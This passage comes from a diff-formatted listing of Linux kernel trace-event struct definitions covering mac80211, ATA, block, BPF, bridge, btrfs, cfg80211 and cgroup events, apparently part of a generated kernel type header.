rssi_max_thold; + char __data[0]; +}; + +struct trace_event_raw_api_eosp { + struct trace_entry ent; + char wiphy_name[32]; + char sta_addr[6]; + char __data[0]; +}; + +struct trace_event_raw_api_gtk_rekey_notify { + struct trace_entry ent; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u8 bssid[6]; + u8 replay_ctr[8]; + char __data[0]; +}; + +struct trace_event_raw_api_radar_detected { + struct trace_entry ent; + char wiphy_name[32]; + char __data[0]; +}; + +struct trace_event_raw_api_request_smps { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + int link_id; + u32 smps_mode; + char __data[0]; +}; + +struct trace_event_raw_api_scan_completed { + struct trace_entry ent; + char wiphy_name[32]; + bool aborted; + char __data[0]; +}; + +struct trace_event_raw_api_sched_scan_results { + struct trace_entry ent; + char wiphy_name[32]; + char __data[0]; +}; + +struct trace_event_raw_api_sched_scan_stopped { + struct trace_entry ent; + char wiphy_name[32]; + char __data[0]; +}; + +struct trace_event_raw_api_send_eosp_nullfunc { + struct trace_entry ent; + char wiphy_name[32]; + char sta_addr[6]; + u8 tid; + char __data[0]; +}; + +struct trace_event_raw_api_sta_block_awake { + struct trace_entry ent; + char wiphy_name[32]; + char sta_addr[6]; + bool block; + char __data[0]; +}; + +struct trace_event_raw_api_sta_set_buffered { + struct trace_entry ent; + char wiphy_name[32]; + char sta_addr[6]; + u8 tid; + bool buffered; + char __data[0]; +}; + +struct trace_event_raw_api_start_tx_ba_cb { + struct trace_entry ent; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u8 ra[6]; + u16 tid; + char __data[0]; +}; + +struct trace_event_raw_api_start_tx_ba_session { + struct trace_entry ent; + char sta_addr[6]; + u16 tid; + char __data[0]; +}; + +struct trace_event_raw_api_stop_tx_ba_cb { + struct trace_entry ent; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u8 ra[6]; + u16 tid; + char __data[0]; +}; + +struct trace_event_raw_api_stop_tx_ba_session { + struct trace_entry ent; + char sta_addr[6]; + u16 tid; + char __data[0]; +}; + +struct trace_event_raw_ata_bmdma_status { + struct trace_entry ent; + unsigned int ata_port; + unsigned int tag; + unsigned char host_stat; + char __data[0]; +}; + +struct trace_event_raw_ata_eh_action_template { + struct trace_entry ent; + unsigned int ata_port; + unsigned int ata_dev; + unsigned int eh_action; + char __data[0]; +}; + +struct trace_event_raw_ata_eh_link_autopsy { + struct trace_entry ent; + unsigned int ata_port; + unsigned int ata_dev; + unsigned int eh_action; + unsigned int eh_err_mask; + char __data[0]; +}; + +struct trace_event_raw_ata_eh_link_autopsy_qc { + struct trace_entry ent; + unsigned int ata_port; + unsigned int ata_dev; + unsigned int tag; + unsigned int qc_flags; + unsigned int eh_err_mask; + char __data[0]; +}; + +struct trace_event_raw_ata_exec_command_template { + struct trace_entry ent; + unsigned int ata_port; + unsigned int tag; + unsigned char cmd; + unsigned char feature; + unsigned char hob_nsect; + unsigned char proto; + char __data[0]; +}; + +struct trace_event_raw_ata_link_reset_begin_template { + struct trace_entry ent; + unsigned int ata_port; + unsigned int class[2]; + unsigned long deadline; + char __data[0]; +}; + +struct trace_event_raw_ata_link_reset_end_template { + struct trace_entry ent; + unsigned int ata_port; + unsigned int class[2]; + int rc; + char __data[0]; +}; + +struct trace_event_raw_ata_port_eh_begin_template { + struct trace_entry ent; + unsigned int ata_port; + char __data[0]; +}; + +struct trace_event_raw_ata_qc_complete_template { + struct trace_entry ent; + unsigned int ata_port; + unsigned int ata_dev; + unsigned int tag; + unsigned char status; + unsigned char dev; + unsigned char lbal; + unsigned char lbam; + unsigned char lbah; + unsigned char nsect; + unsigned char error; + unsigned char hob_lbal; + unsigned char hob_lbam; + unsigned char hob_lbah; + unsigned char hob_nsect; + unsigned char hob_feature; + unsigned char ctl; + unsigned long flags; + char __data[0]; +}; + +struct trace_event_raw_ata_qc_issue_template { + struct trace_entry ent; + unsigned int ata_port; + unsigned int ata_dev; + unsigned int tag; + unsigned char cmd; + unsigned char dev; + unsigned char lbal; + unsigned char lbam; + unsigned char lbah; + unsigned char nsect; + unsigned char feature; + unsigned char hob_lbal; + unsigned char hob_lbam; + unsigned char hob_lbah; + unsigned char hob_nsect; + unsigned char hob_feature; + unsigned char ctl; + unsigned char proto; + unsigned long flags; + char __data[0]; +}; + +struct trace_event_raw_ata_sff_hsm_template { + struct trace_entry ent; + unsigned int ata_port; + unsigned int ata_dev; + unsigned int tag; + unsigned int qc_flags; + unsigned int protocol; + unsigned int hsm_state; + unsigned char dev_state; + char __data[0]; +}; + +struct trace_event_raw_ata_sff_template { + struct trace_entry ent; + unsigned int ata_port; + unsigned char hsm_state; + char __data[0]; +}; + +struct trace_event_raw_ata_tf_load { + struct trace_entry ent; + unsigned int ata_port; + unsigned char cmd; + unsigned char dev; + unsigned char lbal; + unsigned char lbam; + unsigned char lbah; + unsigned char nsect; + unsigned char feature; + unsigned char hob_lbal; + unsigned char hob_lbam; + unsigned char hob_lbah; + unsigned char hob_nsect; + unsigned char hob_feature; + unsigned char proto; + char __data[0]; +}; + +struct trace_event_raw_ata_transfer_data_template { + struct trace_entry ent; + unsigned int ata_port; + unsigned int ata_dev; + unsigned int tag; + unsigned int flags; + unsigned int offset; + unsigned int bytes; + char __data[0]; +}; + +struct trace_event_raw_balance_dirty_pages { + struct trace_entry ent; + char bdi[32]; + unsigned long limit; + unsigned long setpoint; + unsigned long dirty; + unsigned long bdi_setpoint; + unsigned long bdi_dirty; + unsigned long dirty_ratelimit; + unsigned long task_ratelimit; + unsigned int dirtied; + unsigned int dirtied_pause; + unsigned long paused; + long pause; + unsigned long period; + long think; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_bdi_dirty_ratelimit { + struct trace_entry ent; + char bdi[32]; + unsigned long write_bw; + unsigned long avg_write_bw; + unsigned long dirty_rate; + unsigned long dirty_ratelimit; + unsigned long task_ratelimit; + unsigned long balanced_dirty_ratelimit; + ino_t cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_benchmark_event { + struct trace_entry ent; + char str[128]; + u64 delta; + char __data[0]; +}; + +struct trace_event_raw_block_bio { + struct trace_entry ent; + dev_t dev; + sector_t sector; + unsigned int nr_sector; + char rwbs[8]; + char comm[16]; + char __data[0]; +}; + +struct trace_event_raw_block_bio_complete { + struct trace_entry ent; + dev_t dev; + sector_t sector; + unsigned int nr_sector; + int error; + char rwbs[8]; + char __data[0]; +}; + +struct trace_event_raw_block_bio_remap { + struct trace_entry ent; + dev_t dev; + sector_t sector; + unsigned int nr_sector; + dev_t old_dev; + sector_t old_sector; + char rwbs[8]; + char __data[0]; +}; + +struct trace_event_raw_block_buffer { + struct trace_entry ent; + dev_t dev; + sector_t sector; + size_t size; + char __data[0]; +}; + +struct trace_event_raw_block_plug { + struct trace_entry ent; + char comm[16]; + char __data[0]; +}; + +struct trace_event_raw_block_rq { + struct trace_entry ent; + dev_t dev; + sector_t sector; + unsigned int nr_sector; + unsigned int bytes; + unsigned short ioprio; + char rwbs[8]; + char comm[16]; + u32 __data_loc_cmd; + char __data[0]; +}; + +struct trace_event_raw_block_rq_completion { + struct trace_entry ent; + dev_t dev; + sector_t sector; + unsigned int nr_sector; + int error; + unsigned short ioprio; + char rwbs[8]; + u32 __data_loc_cmd; + char __data[0]; +}; + +struct trace_event_raw_block_rq_remap { + struct trace_entry ent; + dev_t dev; + sector_t sector; + unsigned int nr_sector; + dev_t old_dev; + sector_t old_sector; + unsigned int nr_bios; + char rwbs[8]; + char __data[0]; +}; + +struct trace_event_raw_block_rq_requeue { + struct trace_entry ent; + dev_t dev; + sector_t sector; + unsigned int nr_sector; + unsigned short ioprio; + char rwbs[8]; + u32 __data_loc_cmd; + char __data[0]; +}; + +struct trace_event_raw_block_split { + struct trace_entry ent; + dev_t dev; + sector_t sector; + sector_t new_sector; + char rwbs[8]; + char comm[16]; + char __data[0]; +}; + +struct trace_event_raw_block_unplug { + struct trace_entry ent; + int nr_rq; + char comm[16]; + char __data[0]; +}; + +struct trace_event_raw_bpf_test_finish { + struct trace_entry ent; + int err; + char __data[0]; +}; + +struct trace_event_raw_bpf_trace_printk { + struct trace_entry ent; + u32 __data_loc_bpf_string; + char __data[0]; +}; + +struct trace_event_raw_bpf_trigger_tp { + struct trace_entry ent; + int nonce; + char __data[0]; +}; + +struct trace_event_raw_bpf_xdp_link_attach_failed { + struct trace_entry ent; + u32 __data_loc_msg; + char __data[0]; +}; + +struct trace_event_raw_br_fdb_add { + struct trace_entry ent; + u8 ndm_flags; + u32 __data_loc_dev; + unsigned char addr[6]; + u16 vid; + u16 nlh_flags; + char __data[0]; +}; + +struct trace_event_raw_br_fdb_external_learn_add { + struct trace_entry ent; + u32 __data_loc_br_dev; + u32 __data_loc_dev; + unsigned char addr[6]; + u16 vid; + char __data[0]; +}; + +struct trace_event_raw_br_fdb_update { + struct trace_entry ent; + u32 __data_loc_br_dev; + u32 __data_loc_dev; + unsigned char addr[6]; + u16 vid; + unsigned long flags; + char __data[0]; +}; + +struct trace_event_raw_br_mdb_full { + struct trace_entry ent; + u32 __data_loc_dev; + int af; + u16 vid; + __u8 src[16]; + __u8 grp[16]; + __u8 grpmac[6]; + char __data[0]; +}; + +struct trace_event_raw_btrfs__block_group { + struct trace_entry ent; + u8 fsid[16]; + u64 bytenr; + u64 len; + u64 used; + u64 flags; + char __data[0]; +}; + +struct trace_event_raw_btrfs__chunk { + struct trace_entry ent; + u8 fsid[16]; + int num_stripes; + u64 type; + int sub_stripes; + u64 offset; + u64 size; + u64 root_objectid; + char __data[0]; +}; + +struct trace_event_raw_btrfs__file_extent_item_inline { + struct trace_entry ent; + u8 fsid[16]; + u64 root_obj; + u64 ino; + loff_t isize; + u64 disk_isize; + u8 extent_type; + u8 compression; + u64 extent_start; + u64 extent_end; + char __data[0]; +}; + +struct trace_event_raw_btrfs__file_extent_item_regular { + struct trace_entry ent; + u8 fsid[16]; + u64 root_obj; + u64 ino; + loff_t isize; + u64 disk_isize; + u64 num_bytes; + u64 ram_bytes; + u64 disk_bytenr; + u64 disk_num_bytes; + u64 extent_offset; + u8 extent_type; + u8 compression; + u64 extent_start; + u64 extent_end; + char __data[0]; +}; + +struct trace_event_raw_btrfs__inode { + struct trace_entry ent; + u8 fsid[16]; + u64 ino; + u64 blocks; + u64 disk_i_size; + u64 generation; + u64 last_trans; + u64 logged_trans; + u64 root_objectid; + char __data[0]; +}; + +struct trace_event_raw_btrfs__ordered_extent { + struct trace_entry ent; + u8 fsid[16]; + u64 ino; + u64 file_offset; + u64 start; + u64 len; + u64 disk_len; + u64 bytes_left; + unsigned long flags; + int compress_type; + int refs; + u64 root_objectid; + u64 truncated_len; + char __data[0]; +}; + +struct trace_event_raw_btrfs__prelim_ref { + struct trace_entry ent; + u8 fsid[16]; + u64 root_id; + u64 objectid; + u8 type; + u64 offset; + int level; + int old_count; + u64 parent; + u64 bytenr; + int mod_count; + u64 tree_size; + char __data[0]; +}; + +struct trace_event_raw_btrfs__qgroup_rsv_data { + struct trace_entry ent; + u8 fsid[16]; + u64 rootid; + u64 ino; + u64 start; + u64 len; + u64 reserved; + int op; + char __data[0]; +}; + +struct trace_event_raw_btrfs__reserve_extent { + struct trace_entry ent; + u8 fsid[16]; + u64 bg_objectid; + u64 flags; + int bg_size_class; + u64 start; + u64 len; + u64 loop; + bool hinted; + int size_class; + char __data[0]; +}; + +struct trace_event_raw_btrfs__reserved_extent { + struct trace_entry ent; + u8 fsid[16]; + u64 start; + u64 len; + char __data[0]; +}; + +struct trace_event_raw_btrfs__space_info_update { + struct trace_entry ent; + u8 fsid[16]; + u64 type; + u64 old; + s64 diff; + char __data[0]; +}; + +struct trace_event_raw_btrfs__work { + struct trace_entry ent; + u8 fsid[16]; + const void *work; + const void *wq; + const void *func; + const void *ordered_func; + const void *normal_work; + char __data[0]; +}; + +struct trace_event_raw_btrfs__work__done { + struct trace_entry ent; + u8 fsid[16]; + const void *wtag; + char __data[0]; +}; + +struct trace_event_raw_btrfs__writepage { + struct trace_entry ent; + u8 fsid[16]; + u64 ino; + unsigned long index; + long nr_to_write; + long pages_skipped; + loff_t range_start; + loff_t range_end; + char for_kupdate; + char for_reclaim; + char range_cyclic; + unsigned long writeback_index; + u64 root_objectid; + char __data[0]; +}; + +struct trace_event_raw_btrfs_add_block_group { + struct trace_entry ent; + u8 fsid[16]; + u64 offset; + u64 size; + u64 flags; + u64 bytes_used; + u64 bytes_super; + int create; + char __data[0]; +}; + +struct trace_event_raw_btrfs_clear_extent_bit { + struct trace_entry ent; + u8 fsid[16]; + unsigned int owner; + u64 ino; + u64 rootid; + u64 start; + u64 len; + unsigned int clear_bits; + char __data[0]; +}; + +struct trace_event_raw_btrfs_convert_extent_bit { + struct trace_entry ent; + u8 fsid[16]; + unsigned int owner; + u64 ino; + u64 rootid; + u64 start; + u64 len; + unsigned int set_bits; + unsigned int clear_bits; + char __data[0]; +}; + +struct trace_event_raw_btrfs_cow_block { + struct trace_entry ent; + u8 fsid[16]; + u64 root_objectid; + u64 buf_start; + int refs; + u64 cow_start; + int buf_level; + int cow_level; + char __data[0]; +}; + +struct trace_event_raw_btrfs_delayed_data_ref { + struct trace_entry ent; + u8 fsid[16]; + u64 bytenr; + u64 num_bytes; + int action; + u64 parent; + u64 ref_root; + u64 owner; + u64 offset; + int type; + u64 seq; + char __data[0]; +}; + +struct trace_event_raw_btrfs_delayed_ref_head { + struct trace_entry ent; + u8 fsid[16]; + u64 bytenr; + u64 num_bytes; + int action; + int is_data; + char __data[0]; +}; + +struct trace_event_raw_btrfs_delayed_tree_ref { + struct trace_entry ent; + u8 fsid[16]; + u64 bytenr; + u64 num_bytes; + int action; + u64 parent; + u64 ref_root; + int level; + int type; + u64 seq; + char __data[0]; +}; + +struct trace_event_raw_btrfs_dump_space_info { + struct trace_entry ent; + u8 fsid[16]; + u64 flags; + u64 total_bytes; + u64 bytes_used; + u64 bytes_pinned; + u64 bytes_reserved; + u64 bytes_may_use; + u64 bytes_readonly; + u64 reclaim_size; + int clamp; + u64 global_reserved; + u64 trans_reserved; + u64 delayed_refs_reserved; + u64 delayed_reserved; + u64 free_chunk_space; + u64 delalloc_bytes; + u64 ordered_bytes; + char __data[0]; +}; + +struct trace_event_raw_btrfs_extent_map_shrinker_count { + struct trace_entry ent; + u8 fsid[16]; + long nr; + char __data[0]; +}; + +struct trace_event_raw_btrfs_extent_map_shrinker_remove_em { + struct trace_entry ent; + u8 fsid[16]; + u64 ino; + u64 root_id; + u64 start; + u64 len; + u32 flags; + char __data[0]; +}; + +struct trace_event_raw_btrfs_extent_map_shrinker_scan_enter { + struct trace_entry ent; + u8 fsid[16]; + long nr_to_scan; + long nr; + u64 last_root_id; + u64 last_ino; + char __data[0]; +}; + +struct trace_event_raw_btrfs_extent_map_shrinker_scan_exit { + struct trace_entry ent; + u8 fsid[16]; + long nr_dropped; + long nr; + u64 last_root_id; + u64 last_ino; + char __data[0]; +}; + +struct trace_event_raw_btrfs_failed_cluster_setup { + struct trace_entry ent; + u8 fsid[16]; + u64 bg_objectid; + char __data[0]; +}; + +struct trace_event_raw_btrfs_find_cluster { + struct trace_entry ent; + u8 fsid[16]; + u64 bg_objectid; + u64 flags; + u64 start; + u64 bytes; + u64 empty_size; + u64 min_bytes; + char __data[0]; +}; + +struct trace_event_raw_btrfs_finish_ordered_extent { + struct trace_entry ent; + u8 fsid[16]; + u64 ino; + u64 start; + u64 len; + bool uptodate; + u64 root_objectid; + char __data[0]; +}; + +struct trace_event_raw_btrfs_flush_space { + struct trace_entry ent; + u8 fsid[16]; + u64 flags; + u64 num_bytes; + int state; + int ret; + bool for_preempt; + char __data[0]; +}; + +struct trace_event_raw_btrfs_get_extent { + struct trace_entry ent; + u8 fsid[16]; + u64 root_objectid; + u64 ino; + u64 start; + u64 len; + u32 flags; + int refs; + char __data[0]; +}; + +struct trace_event_raw_btrfs_get_raid_extent_offset { + struct trace_entry ent; + u8 fsid[16]; + u64 logical; + u64 length; + u64 physical; + u64 devid; + char __data[0]; +}; + +struct trace_event_raw_btrfs_handle_em_exist { + struct trace_entry ent; + u8 fsid[16]; + u64 e_start; + u64 e_len; + u64 map_start; + u64 map_len; + u64 start; + u64 len; + char __data[0]; +}; + +struct trace_event_raw_btrfs_inode_mod_outstanding_extents { + struct trace_entry ent; + u8 fsid[16]; + u64 root_objectid; + u64 ino; + int mod; + unsigned int outstanding; + char __data[0]; +}; + +struct trace_event_raw_btrfs_insert_one_raid_extent { + struct trace_entry ent; + u8 fsid[16]; + u64 logical; + u64 length; + int num_stripes; + char __data[0]; +}; + +struct trace_event_raw_btrfs_locking_events { + struct trace_entry ent; + u8 fsid[16]; + u64 block; + u64 generation; + u64 owner; + int is_log_tree; + char __data[0]; +}; + +struct trace_event_raw_btrfs_qgroup_account_extent { + struct trace_entry ent; + u8 fsid[16]; + u64 transid; + u64 bytenr; + u64 num_bytes; + u64 nr_old_roots; + u64 nr_new_roots; + char __data[0]; +}; + +struct trace_event_raw_btrfs_qgroup_extent { + struct trace_entry ent; + u8 fsid[16]; + u64 bytenr; + u64 num_bytes; + char __data[0]; +}; + +struct trace_event_raw_btrfs_raid56_bio { + struct trace_entry ent; + u8 fsid[16]; + u64 full_stripe; + u64 physical; + u64 devid; + u32 offset; + u32 len; + u8 opf; + u8 total_stripes; + u8 real_stripes; + u8 nr_data; + u8 stripe_nr; + char __data[0]; +}; + +struct trace_event_raw_btrfs_raid_extent_delete { + struct trace_entry ent; + u8 fsid[16]; + u64 start; + u64 end; + u64 found_start; + u64 found_end; + char __data[0]; +}; + +struct trace_event_raw_btrfs_reserve_ticket { + struct trace_entry ent; + u8 fsid[16]; + u64 flags; + u64 bytes; + u64 start_ns; + int flush; + int error; + char __data[0]; +}; + +struct trace_event_raw_btrfs_set_extent_bit { + struct trace_entry ent; + u8 fsid[16]; + unsigned int owner; + u64 ino; + u64 rootid; + u64 start; + u64 len; + unsigned int set_bits; + char __data[0]; +}; + +struct trace_event_raw_btrfs_setup_cluster { + struct trace_entry ent; + u8 fsid[16]; + u64 bg_objectid; + u64 flags; + u64 start; + u64 max_size; + u64 size; + int bitmap; + char __data[0]; +}; + +struct trace_event_raw_btrfs_sleep_tree_lock { + struct trace_entry ent; + u8 fsid[16]; + u64 block; + u64 generation; + u64 start_ns; + u64 end_ns; + u64 diff_ns; + u64 owner; + int is_log_tree; + char __data[0]; +}; + +struct trace_event_raw_btrfs_space_reservation { + struct trace_entry ent; + u8 fsid[16]; + u32 __data_loc_type; + u64 val; + u64 bytes; + int reserve; + char __data[0]; +}; + +struct trace_event_raw_btrfs_sync_file { + struct trace_entry ent; + u8 fsid[16]; + u64 ino; + u64 parent; + int datasync; + u64 root_objectid; + char __data[0]; +}; + +struct trace_event_raw_btrfs_sync_fs { + struct trace_entry ent; + u8 fsid[16]; + int wait; + char __data[0]; +}; + +struct trace_event_raw_btrfs_transaction_commit { + struct trace_entry ent; + u8 fsid[16]; + u64 generation; + u64 root_objectid; + char __data[0]; +}; + +struct trace_event_raw_btrfs_trigger_flush { + struct trace_entry ent; + u8 fsid[16]; + u64 flags; + u64 bytes; + int flush; + u32 __data_loc_reason; + char __data[0]; +}; + +struct trace_event_raw_btrfs_workqueue { + struct trace_entry ent; + u8 fsid[16]; + const void *wq; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_btrfs_workqueue_done { + struct trace_entry ent; + u8 fsid[16]; + const void *wq; + char __data[0]; +}; + +struct trace_event_raw_btrfs_writepage_end_io_hook { + struct trace_entry ent; + u8 fsid[16]; + u64 ino; + u64 start; + u64 end; + int uptodate; + u64 root_objectid; + char __data[0]; +}; + +struct trace_event_raw_cdev_update { + struct trace_entry ent; + u32 __data_loc_type; + unsigned long target; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_assoc_comeback { + struct trace_entry ent; + u32 id; + u8 ap_addr[6]; + u32 timeout; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_bss_color_notify { + struct trace_entry ent; + char name[16]; + int ifindex; + u32 cmd; + u8 count; + u64 color_bitmap; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_bss_evt { + struct trace_entry ent; + u8 bssid[6]; + enum nl80211_band band; + u32 center_freq; + u16 freq_offset; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_cac_event { + struct trace_entry ent; + char name[16]; + int ifindex; + enum nl80211_radar_event evt; + unsigned int link_id; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_ch_switch_notify { + struct trace_entry ent; + char name[16]; + int ifindex; + enum nl80211_band band; + u32 control_freq; + u32 freq_offset; + u32 width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u16 punctured; + unsigned int link_id; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_ch_switch_started_notify { + struct trace_entry ent; + char name[16]; + int ifindex; + enum nl80211_band band; + u32 control_freq; + u32 freq_offset; + u32 width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u16 punctured; + unsigned int link_id; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_chandef_dfs_required { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_band band; + u32 control_freq; + u32 freq_offset; + u32 width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u16 punctured; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_control_port_tx_status { + struct trace_entry ent; + u32 id; + u64 cookie; + bool ack; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_cqm_pktloss_notify { + struct trace_entry ent; + char name[16]; + int ifindex; + u8 peer[6]; + u32 num_packets; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_cqm_rssi_notify { + struct trace_entry ent; + char name[16]; + int ifindex; + enum nl80211_cqm_rssi_threshold_event rssi_event; + s32 rssi_level; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_ft_event { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u32 __data_loc_ies; + u8 target_ap[6]; + u32 __data_loc_ric_ies; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_get_bss { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_band band; + u32 center_freq; + u16 freq_offset; + u8 bssid[6]; + u32 __data_loc_ssid; + enum ieee80211_bss_type bss_type; + enum ieee80211_privacy privacy; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_ibss_joined { + struct trace_entry ent; + char name[16]; + int ifindex; + u8 bssid[6]; + enum nl80211_band band; + u32 center_freq; + u16 freq_offset; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_inform_bss_frame { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_band band; + u32 center_freq; + u16 freq_offset; + u32 __data_loc_mgmt; + s32 signal; + u64 ts_boottime; + u64 parent_tsf; + u8 parent_bssid[6]; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_links_removed { + struct trace_entry ent; + char name[16]; + int ifindex; + u16 link_mask; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_mgmt_tx_status { + struct trace_entry ent; + u32 id; + u64 cookie; + bool ack; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_michael_mic_failure { + struct trace_entry ent; + char name[16]; + int ifindex; + u8 addr[6]; + enum nl80211_key_type key_type; + int key_id; + u8 tsc[6]; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_netdev_mac_evt { + struct trace_entry ent; + char name[16]; + int ifindex; + u8 macaddr[6]; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_new_sta { + struct trace_entry ent; + char name[16]; + int ifindex; + u8 mac_addr[6]; + int generation; + u32 connected_time; + u32 inactive_time; + u32 rx_bytes; + u32 tx_bytes; + u32 rx_packets; + u32 tx_packets; + u32 tx_retries; + u32 tx_failed; + u32 rx_dropped_misc; + u32 beacon_loss_count; + u16 llid; + u16 plid; + u8 plink_state; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_pmksa_candidate_notify { + struct trace_entry ent; + char name[16]; + int ifindex; + int index; + u8 bssid[6]; + bool preauth; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_pmsr_complete { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + u64 cookie; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_pmsr_report { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + u64 cookie; + u8 addr[6]; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_probe_status { + struct trace_entry ent; + char name[16]; + int ifindex; + u8 addr[6]; + u64 cookie; + bool acked; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_radar_event { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_band band; + u32 control_freq; + u32 freq_offset; + u32 width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u16 punctured; + bool offchan; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_ready_on_channel { + struct trace_entry ent; + u32 id; + u64 cookie; + enum nl80211_band band; + u32 center_freq; + u16 freq_offset; + unsigned int duration; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_ready_on_channel_expired { + struct trace_entry ent; + u32 id; + u64 cookie; + enum nl80211_band band; + u32 center_freq; + u16 freq_offset; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_reg_can_beacon { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_band band; + u32 control_freq; + u32 freq_offset; + u32 width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u16 punctured; + enum nl80211_iftype iftype; + u32 prohibited_flags; + u32 permitting_flags; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_report_obss_beacon { + struct trace_entry ent; + char wiphy_name[32]; + int freq; + int sig_dbm; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_report_wowlan_wakeup { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + bool non_wireless; + bool disconnect; + bool magic_pkt; + bool gtk_rekey_failure; + bool eap_identity_req; + bool four_way_handshake; + bool rfkill_release; + s32 pattern_idx; + u32 packet_len; + u32 __data_loc_packet; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_return_bool { + struct trace_entry ent; + bool ret; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_return_u32 { + struct trace_entry ent; + u32 ret; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_return_uint { + struct trace_entry ent; + unsigned int ret; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_rx_control_port { + struct trace_entry ent; + char name[16]; + int ifindex; + int len; + u8 from[6]; + u16 proto; + bool unencrypted; + int link_id; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_rx_evt { + struct trace_entry ent; + char name[16]; + int ifindex; + u8 addr[6]; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_rx_mgmt { + struct trace_entry ent; + u32 id; + int freq; + int sig_dbm; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_scan_done { + struct trace_entry ent; + u32 n_channels; + u32 __data_loc_ie; + u32 rates[6]; + u32 wdev_id; + u8 wiphy_mac[6]; + bool no_cck; + bool aborted; + u64 scan_start_tsf; + u8 tsf_bssid[6]; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_send_assoc_failure { + struct trace_entry ent; + char name[16]; + int ifindex; + u8 ap_addr[6]; + bool timeout; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_send_rx_assoc { + struct trace_entry ent; + char name[16]; + int ifindex; + u8 ap_addr[6]; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_stop_iface { + struct trace_entry ent; + char wiphy_name[32]; + u32 id; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_tdls_oper_request { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 peer[6]; + enum nl80211_tdls_operation oper; + u16 reason_code; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_tx_mgmt_expired { + struct trace_entry ent; + u32 id; + u64 cookie; + enum nl80211_band band; + u32 center_freq; + u16 freq_offset; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_tx_mlme_mgmt { + struct trace_entry ent; + char name[16]; + int ifindex; + u32 __data_loc_frame; + int reconnect; + char __data[0]; +}; + +struct trace_event_raw_cfg80211_update_owe_info_event { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 peer[6]; + u32 __data_loc_ie; + int assoc_link_id; + u8 peer_mld_addr[6]; + char __data[0]; +}; + +struct trace_event_raw_cgroup { + struct trace_entry ent; + int root; + int level; + u64 id; + u32 __data_loc_path; + char __data[0]; +}; + +struct trace_event_raw_cgroup_event { + struct trace_entry ent; + int root; + int level; + u64 id; + u32 __data_loc_path; + int val; + char __data[0]; +}; + +struct trace_event_raw_cgroup_migrate { + struct trace_entry ent; + int dst_root; + int dst_level; + u64 dst_id; + int pid; + u32 __data_loc_dst_path; + u32 __data_loc_comm; + char __data[0]; +}; + +struct trace_event_raw_cgroup_root { + struct trace_entry ent; + int root; + u16 ss_mask; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_cgroup_rstat { + struct trace_entry ent; + int root; + int level; + u64 id; + int cpu; + bool contended; + char __data[0]; +}; + +struct trace_event_raw_chanswitch_evt { + struct trace_entry ent; + char wiphy_name[32]; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u32 control_freq; + u32 freq_offset; + u32 chan_width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; + u64 timestamp; + u32 device_timestamp; + bool block_tx; + u8 count; + u8 link_id; + char __data[0]; +}; + +struct trace_event_raw_clk { + struct trace_entry ent; + u32 